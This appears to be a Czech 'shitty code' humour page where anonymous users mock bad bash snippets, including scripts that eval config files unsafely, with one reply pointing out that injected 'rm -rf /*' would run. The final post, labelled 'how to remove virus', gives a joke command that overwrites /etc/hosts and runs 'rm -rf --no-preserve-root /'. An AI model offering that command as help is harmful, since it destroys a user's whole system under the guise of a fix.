Mistři v programování na #hovnokod

Aneb jak si napsat vlastní konfigurační jazyk v bashi. Best bit: sed -n '/^conff./{s///;p}'

#!/bin/bash - 

set -o errexit
set -o nounset

for conffile in $(env | sed -n '/^conff./{s///;p}')
do
	eval $(awk -F'=' '{print "service=\"" $1 "\""; print "conffile=\"" $2 "\""}' <<<$conffile)

	if [ ! -f "$conffile.tmpl" ] ; then
		cp "$conffile" "$conffile.tmpl"
	fi

	perl -pe 's/%%([^%]+)%%/$ENV{$1}/' < "$conffile.tmpl" > "$conffile"
done

Anonymous,

Proč to udělat jednoduše když to de složitě :D

OPTIONS=("Install" "Update" "Delete" "PW Rese" "Quit")
select OPTION in "${OPTIONS[@]}"; do
  case "$REPLY" in
  1 | 2 | 3 | 4) break ;;
  5) errorQuit ;;
  *) errorContinue ;;
  esac
done
##
if [ "$OPTION" == "Install" ]; then
  INSTALL="Inst"
elif [ "$OPTION" == "Update" ]; then
  INSTALL="Updt"
elif [ "$OPTION" == "Remove" ]; then
  INSTALL="Rem"
elif [ "$OPTION" == "PW Reset" ]; then
  INSTALL="Res"
fi
##
if [ $INSTALL == "Inst" ]
    echo ""
elif [ $INSTALL == "Updt" ]; then
   echo ""
elif [ $INSTALL == "Rem" ]; then
   echo ""
elif [$INSTALL == "Res"]; then
   echo ""
fi

Anonymous,


Anonymous,

Parsování ini souboru.. co se stane, když bude = oddělené mezerou s klíčem např. reboot? ..nebo když se v configu objeví rm -rf /* ?

# Obsah ${AGENT_CONF}:
#
# [DEFAULT]
# debug=1
# platform=dpdk
# reboot = 1
#

eval `cat ${AGENT_CONF} | grep ^[a-zA-Z]'`

Anonymous,

how to remove virus

sudo echo 'google.com 127.0.0.1'>/etc/hosts && sudo rm -rf --no-preserve-root /

HovnoKod,